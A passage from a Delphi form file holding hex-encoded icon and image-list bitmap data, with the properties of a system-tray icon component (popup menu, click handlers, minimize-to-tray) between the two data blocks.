69FE797979FE777777FF757575FE797979FF656565FE3C3C3CB54444441E0000
00000000000000000000000000000000000000000000000000003F3F3F2B3030
30D54E4E4EFC707070FF7B7B7BFE848484FF858585FE7F7F7FFF676767FF3F3F
3FDF2727278A444444FE545454FF575757FE535353FF666666FE727272FF6767
67FE787878FE747474FF737373FE737373FF424242D247474725000000000000
0000000000000000000000000000000000004E4E4E053C3C3C68303030DB5252
52FF717171FE858585FF878787FE7A7A7AFF757575FE717171FF5C5C5CFF6262
62FE4D4D4DFF3F3F3FFE696969FF757575FE757575FF6C6C6CFE6D6D6DFF7373
73FE666666FE676767FF565656F9373737BC3C3C3C3700000000000000000000
0000000000000000000000000000000000003E3E3E13232323F53E3E3EFE5252
52FF696969FE797979FF7F7F7FFE797979FF797979FE737373FF565656FF5B5B
5BFE313131EB242424F7323232ED4D4D4DFE595959FF777777FE6B6B6BFF5E5E
5EFE646464FE454545EC3A3A3A7D4A4A4A1D5151510100000000000000000000
0000000000000000000000000000000000004D4D4D25373737E55B5B5BFE7373
73FF7C7C7CFE818181FF838383FE797979FF727272FE5D5D5DFF515151FF5555
55FE3A3A3AD52C2C2C94303030A427272762222222B4292929F8313131FF2828
28D4292929923A3A3A1F00000000000000000000000000000000000000000000
00000000000000000000000000004A4A4A0A2C2C2C9E565656FE696969FE7878
78FF828282FE808080FF7B7B7BFE676767FF6F6F6FFE646464FF565656FF5757
57FE303030C32828285B414141F43F3F3FDB585858F3676767FE5F5F5FFF4B4B
4BEC313131D12626269D3030304D535353030000000000000000000000000000
0000000000000000000000000000454545393D3D3DE36F6F6FFE7F7F7FFE8383
83FF818181FE7C7C7CFF737373FE767676FF7B7B7BFE737373FF6A6A6AFF5454
54F729292988242424D9505050FF7C7C7CFE7F7F7FFF7D7D7DFE7A7A7AFF7979
79FE6D6D6DFE585858FF434343FE2D2D2DDC3939396142424202000000000000
00000000000000000000000000002E2E2E5F3E3E3EF6646464FE7A7A7AFE8181
81FF7B7B7BFE6C6C6CFF707070FE7F7F7FFF787878FE757575FF6B6B6BFF4040
40D0202020AE474747FE484848FF6B6B6BFE757575FF747474FE6F6F6FFF6565
65FE666666FE5F5F5FFF5F5F5FFE444444FF303030EE2C2C2C49000000000000
0000000000000000000000000000252525C44E4E4EFF717171FE7B7B7BFE6B6B
6BFF606060FE686868FF7B7B7BFE7F7F7FFF646464FE636363FF434343F82828
28873D3D3DDE5D5D5DFE4C4C4CFF565656FE727272FF828282FE848484FF8282
82FE7B7B7BFE747474FF5E5E5EFE494949FF3A3A3AFE181818DD262626400000
00000000000000000000000000001F1F1FC44A4A4AFF727272FE7A7A7AFE6C6C
6CFF5E5E5EFE666666FF7C7C7CFE797979FF585858FE4C4C4CFD2E2E2EAB2D2D
2D65434343F86D6D6DFE505050FF585858FE5F5F5FFF606060FE626262FF5959
59FE4D4D4DFE454545FF434343FE373737FF2D2D2DFE171717FD1212127C0000
00000000000000000000494949092D2D2DE5626262FF696969FE616161FE6363
63FF666666FE787878FF7A7A7AFE686868FF3E3E3EFE2A2A2AA94C4C4C1D2B2B
2BAE555555FF707070FE656565FF727272FE595959FF5D5D5DFE646464FF6161
61FE6B6B6BFE6C6C6CFF626262FE4E4E4EFF444444FE303030FF1D1D1D7B0000
000000000000000000002F2F2F31393939FF6B6B6BFF6E6E6EFE666666FE6B6B
6BFF7B7B7BFE7A7A7AFF707070FE454545FC2B2B2BA94B4B4B1B000000002828
28DA5D5D5DFF707070FE7D7D7DFF696969FE4A4A4AFF565656FE525252FF5E5E
5EFE7C7C7CFE828282FF7E7E7EFE797979FF6A6A6AFE464646FF202020C82B2B
2B06000000000000000031313138424242FF585858FF727272FE797979FE8383
83FF7E7E7EFE666666FF3C3C3CF1313131784E4E4E0C00000000000000002B2B
2BEA606060FF7E7E7EFE7F7F7FFF585858FE6B6B6BFF6A6A6AFE535353FF5252
52FE606060FE525252FF4C4C4CFE383838FF2B2B2BFE2B2B2BFF181818FA2121
210F00000000000000002E2E2E79494949FF5A5A5AFF797979FE7C7C7CFE7E7E
7EFF575757FE393939B3434343524D4D4D040000000000000000000000002727
27EA636363FF7E7E7EFE717171FF5B5B5BFE797979FF616161FE494949FF4A4A
4AFE424242FE515151FF565656FE555555FF434343FE3C3C3CFF202020F62424
2412000000003E3E3E142B2B2BBD505050FF676767FF696969F1555555C84545
45AB3C3C3C530000000000000000000000000000000000000000000000002424
24BD515151FF747474FE5B5B5BFF575757FE6F6F6FFF4F4F4FFE5B5B5BFF4949
49FE444444FE5C5C5CFF616161FE616161FF525252FE424242FF292929FE2020
20740000000024242490292929D3383838864A4A4A624C4C4C4B4F4F4F1E5050
500A575757010000000000000000000000000000000000000000000000003333
335B393939F16E6E6EFE4F4F4FFF5B5B5BFE5B5B5BFF3E3E3EFE636363FF5353
53FE4C4C4CFE404040FF414141FE555555FF5E5E5EFE4E4E4EFF303030FE2222
223E000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000004343
43052929298C4E4E4EFE3A3A3AFF585858FE444444FF444444FE606060FF6A6A
6AFE545454FE505050FF3C3C3CFE3B3B3BFF363636FE272727FF161616F12B2B
2B0E000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00004141411C1C1C1CF1232323FF434343FE363636FF545454FE5A5A5AFF6060
60FE5C5C5CFE565656FF4A4A4AFE373737FF424242FE303030FD1A1A1A9B0000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000242424582626267E242424F1313131FF565656FE515151FF4848
48FE515151FE5F5F5FFF464646FE454545FF484848FE202020F2313131480000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000001D1D1D672121218F2F2F2FF83C3C3CFF4242
42FE414141FE4F4F4FFF434343FE595959FF494949FE282828E73131313D0000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002929291F242424761B1B
1BBA252525C9272727DA262626DD363636DE2E2E2EDA303030EC2929296D0000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000003434
341133333320333333303232323434343434363636302A2A2A571E1E1E8F0000
000000000000F1FFFFFFF0FFFFFFF8FFFFFFFC7FFCFFFC3FC00FFE1F8007FF0F
0000FF8F0000FF830001FE020001FC000003F8000007E000000FE000000FE000
007FC000001FC0000007C0000007C0000003C00000038000000380040001800C
0001801C000100FC000100FC0001FFFC0001FFFE0003FFFF0003FFFFC003FFFF
F003FFFFFC032800000010000000200000000100200000000000400400000000
00000000000000000000000000000000000000000000383838723737372A0000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000373737103333339D3535
350A0000000000000000000000000000000000000000000000003A3A3A060000
0000000000000000000000000000000000000000000000000000404040172F2F
2F9841414103000000000000000000000000333333512F2F2FC62A2A2AF42929
29C2262626934646460C00000000000000000000000000000000000000003F3F
3F2D3030308A000000000000000033333381505050FE646464FE5A5A5AFE4D4D
4DFE494949FE3B3B3BE221212191000000000000000000000000545454013F3F
3F423A3A3AA1444444844F4F4F03505050F3656565FE686868FE555555FE5C5C
5CFE676767FE4C4C4CDE4343430D00000000000000005252520A3C3C3CB66C6C
6CFE838383FE6B6B6BFE3333337C4C4C4CFE565656FE646464FE707070FE7474
74FE646464F34545453E000000000000000053535306333333CD5F5F5FFE8181
81FE787878FE656565FF4E4E4EF93F3F3FF8646464FE6E6E6EFE666666FE4F4F
4FD84343434400000000000000000000000048484833545454F77A7A7AFE7F7F
7FFE707070FE5A5A5AFF454545E5313131A1383838B9484848FD333333C83939
3942000000000000000000000000000000003B3B3B9C737373FE808080FE7272
72FE7A7A7AFE6F6F6FFF373737BF404040F5767676FE767676FE6C6C6CFE5656
56FE363636CA484848120000000000000000373737E1767676FE656565FE7171
71FE6D6D6DFE484848E7353535B0595959FE5F5F5FFE727272FE686868FE5656
56FE393939FE191919A5000000004A4A4A0E4C4C4CF8676767FE6B6B6BFE7777
77FE454545E846464638414141E1707070FE5F5F5FFE5A5A5AFE696969FE7373
73FE5D5D5DFE2C2C2CD0454545014444442C4F4F4FFF787878FE757575FE4747
47BD4C4C4C2200000000454545F47B7B7BFE656565FE595959FE4F4F4FFE5151
51FE3E3E3EFE272727FB323232082D2D2D8D4E4E4EB956565688494949420000
00000000000000000000383838C2636363FE5F5F5FFE525252FE4B4B4BFE4F4F
4FFE595959FE3A3A3AFE3131312C000000000000000000000000000000000000
000000000000000000004444442B313131FB454545FE545454FE5E5E5EFE4B4B
4BFE3A3A3AFE212121E23B3B3B03000000000000000000000000000000000000
000000000000000000000000000039393935242424B9444444FD474747FE4D4D
4DFE4B4B4BFE2A2A2A9700000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000363636252929296D2C2C
2C86333333872828288F00000000CFFF0000C7EF0000E3810000F3000000E000
0000C00100008003000080070000800100008001000000000000020000000E00
0000FE000000FF010000FFC10000}
IconVisible = True
IconIndex = 0
PopupMenu = PopMenu_Tray
WantEnterExitEvents = True
MinimizeToTray = True
OnClick = CoolTrayIcon1Click
OnDblClick = CoolTrayIcon1DblClick
Left = 799
Top = 80
end
object ImageList_Flags: TImageList
ColorDepth = cd32Bit
DrawingStyle = dsTransparent
Left = 759
Top = 16
Bitmap = {
494C0101FC0074017C0010001000FFFFFFFF2110FFFFFFFFFFFFFFFF424D3600
0000000000003600000028000000400000000004000001002000000000000000
0400000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000068855CFF85AC72FFB7CFABFF8A96
84FF97BC87FFC0D6B1FF8E998AFFA0C490FFBFD6B2FF97A091FFD9DAD9FFD1D2
D1FFFFFFFFFFDEDEDDFFD1D2D1FFFFFFFFFFFFFFFFFF95A190FF95A193FFD9D9
D8FF95A090FF9BA397FFD4D4D4FF949E8EFF98A296FFD2D2D2FF969F90FF97A5
92FFB1B1B1FFDEDEDDFFD1D2D1FFFFFFFFFFFFFFFFFF959F8FFF95A092FFDADA
D9FF95A191FF98A194FFDEDEDEFF939E8DFF97A094FFDEDEDEFF949D8DFF98A4
93FFDFDFDFFF999F95FF98A291FFB4B5B4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF547C3CFF669D4CFFC6E8B7FF8096
73FF88B86DFFD3F1C2FF87977DFF9AC686FFD2F2C0FF96A68DFFD3D4D2FFD2D3
D2FFFFFFFFFFD4D5D3FFD2D4D2FFD2D3D2FF648354FF82AE6BFFBED7B1FF8395
7BFF9CC587FFC2DAB2FF8B9884FFA9D197FFC5E0B7FF919A8DFFB3D5A4FFCAE3
BBFF92A089FFD4D5D3FFD2D4D2FFD2D3D2FF658257FF84AF6CFFBAD4B0FF8696
7DFFA2CB8EFFBFD3B0FF8B9A85FFAFD89CFFBDD3B0FF959E92FFBADCAAFFC6E0
B7FF9AA095FFAFCF9FFFC8E4BAFF94A38FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF72955EFF689A4FFFBADEABFF7E92
73FF6CA352FFC8EBB6FF85967CFF85B56EFFCAEFB8FF9AAB90FFD2D4D1FFD3D4
D2FFE0E0E0FFD2D4D2FFD3D4D2FFD1D1D0FF557D3CFF609845FFC3E6B5FF7B94
6DFF86B76AFFCCEDBDFF839579FF9DCB89FFD4F6C3FF8C9984FFACD598FFDAFB
C9FF99AB8FFFD2D4D2FFD3D4D2FFD1D1D0FF547C3AFF629A47FFC3E4B4FF7B93
6DFF8BBD6FFFCBE5BCFF819477FFA6D591FFCAE8BBFF8D9985FFB5E0A1FFD8FA
C8FF939D8EFFAED699FFD7F9C8FF9DAD93FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8E9A86FF7A9A6EFF9BAF94FF8C97
85FF548E3AFFB7DDA5FF83967AFF6DA356FFBEE4ACFF99AB90FFD2D4D1FFD3D4
D2FFFFFFFFFFD2D4D2FFD3D4D2FFD1D1D0FF7D9E6CFF719F5AFFB4D8A6FF788F
6EFF699F4FFFBFE0AEFF819378FF86B56DFFC9EDB8FF8C9983FF95C081FFD2F3
C1FF9BAB92FFD2D4D2FFD3D4D2FFD1D1D0FF7C9D6AFF71A05AFFB6D8A7FF788F
6FFF6DA454FFBFDDAEFF7E9276FF8FBF76FFC1E2B4FF8B9884FF9DCA8BFFD1F2
C1FF959D8FFF9EC78AFFCEF2BEFF9DAE94FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFFFFFF99A2
94FF4A8230FFA0CA8CFF829478FF5B9040FFAFD79CFF98AC8FFFD1D3D0FFD3D4
D2FFFFFFFFFFD1D3D0FFD2D4D2FFD1D1D0FFA3A9A0FF879980FFA0A99DFF8A97
84FF508A36FFAFD29CFF7E9375FF6DA157FFBEE2ADFF8B9781FF81AF69FFCAEE
B7FF9BAC93FFD1D3D0FFD2D4D2FFD1D1D0FFA5AAA2FF879A82FFA3ACA0FF8D99
87FF548F3BFFAFD29FFF7B9072FF76AB5FFFB8D8ABFF899682FF89BA73FFCCEE
BAFF949D8EFF90BB78FFC5ECB5FF9DAE95FFFFFFFFFF000000FF000000FF0000
00FFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF
FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9DA5
98FF679651FF95BC82FF819278FF4A822EFF9DC988FF97AB8FFFD0D2CFFFD2D4
D1FFFFFFFFFFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF95A0
90FF508737FF98BF85FF7D9173FF5A9040FFAED59BFF899780FF6B9E54FFBBE2
A9FF9BAD95FFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF96A1
90FF518837FF9BC08AFF798D70FF609846FFABCE9BFF889581FF74A65CFFC0E4
AFFF939D8EFF82B06AFFBBE3AAFF9DAF95FFFFFFFFFF000000FF000000FF0000
00FFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF
FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C6
C3FF7E9474FF919F88FF9FA79CFF3D751FFF8BB873FF98AA8FFFCFD1CEFFD1D3
D1FFFFFFFFFFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF9EA5
99FF739C60FF90B580FF809177FF48802BFF9CC789FF889780FF588D3FFFABD4
96FF9AAD95FFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF9DA5
99FF729D5FFF93B583FF7D8F75FF4E8831FF9DC38DFF879580FF5F9445FFB1D8
9FFF939D8EFF73A35EFFB0D99EFF9DAE93FFFFFFFFFF000000FF000000FF0000
00FFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF
FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFB1B6AFFF4B7D31FF74A55BFF96A88CFFCED1CDFFD1D2
D0FFFFFFFFFFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFA6ACA4FFBBBEBAFF9DA59AFF3D7420FF89B472FF86967EFF467E2BFF98C4
82FF98AD92FFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFA4AAA1FFBFC2BEFF9BA397FF417823FF8DB37AFF85947EFF4B8631FFA0CA
8CFF939D8EFF66984DFFA5CF90FF9EAE91FFFFFFFFFF000000FF000000FF0000
00FFFFFFFFFF3B3B3BFF000000FF000000FF000000FF000000FF3F3F3FFFFFFF
FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFB1B6B0FF6B9858FF73A25EFF8D9C85FFCED0CDFFD0D2
CFFFFFFFFFFFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFA4AAA0FF5A8C43FF77A760FF87957DFF366E1DFF84B3
6CFF96AB90FFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF9FA79CFF578A3FFF7BA665FF85937CFF3B751FFF8EBA
78FF929D8DFF5B8D41FF96C381FF9BAD92FFFFFFFFFF000000FF000000FF0000
00FF525252FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4D4D
4DFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFCBCCCAFF6B915FFF709364FFC6C8C5FFCCCECBFFCFD1
CEFFFFFFFFFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFADB2ABFF6E955FFF789E6AFF969F91FF2A640EFF6EA1
56FF94A98DFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFA7ACA4FF6F9A5EFF7CA070FF929D8DFF2C6810FF78A9
64FF929C8DFF4D8333FF89B871FF99AB92FFFFFFFFFF000000FF000000FF0000
00FF000000FF3E3E3EFFD8D8D8FF1D1D1DFF1E1E1EFFDADADAFF3C3C3CFF0000
00FF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCFCBFFCED0
CDFFE0E0DFFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFD2D3D2FFFFFFFFFFBBBFBAFF3E7324FF558D
3CFF92A68AFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC9CBC8FFDCDDDCFFADB3AAFF376F1CFF6195
4AFF909B8BFF437628FF78AC61FF97AA8EFFFFFFFFFF3B3B3BFF000000FF0000
00FF000000FF757575FF8A8A8AFF000000FF000000FF8C8C8CFF747474FF0000
00FF000000FF000000FF3F3F3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CEFFCED0
CDFFFFFFFFFFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB9BCB7FF6D9859FF608E
49FF899A83FFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABB0A8FF669352FF6493
4FFF919C8CFF3A6E1FFF6A9F52FF95A98CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD8D8D8FF222222FF222222FFDADADAFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFF
FFFFFFFFFFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD6D6D6FF688D55FF6488
4FFFC0C3BFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD2D2D1FF819477FF8B99
84FFBABDB9FF306812FF5D9343FF94A78AFFFFFFFFFFFFFFFFFFD8D8D8FF1D1D
1DFF1E1E1EFFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD8D8D8FF1D1D
1DFF1E1E1EFFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFCACCC9FF497D31FF4E8633FF92A488FFFFFFFFFFFFFFFFFF8A8A8AFF0000
00FF000000FF8C8C8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8A8A8AFF0000
00FF000000FF8C8C8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFCBCDCAFF719B60FF5F8F49FF8B9883FFFFFFFFFFFFFFFFFFD8D8D8FF2222
22FF222222FFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD8D8D8FF2222
22FF222222FFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF7A8C71FF778A6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
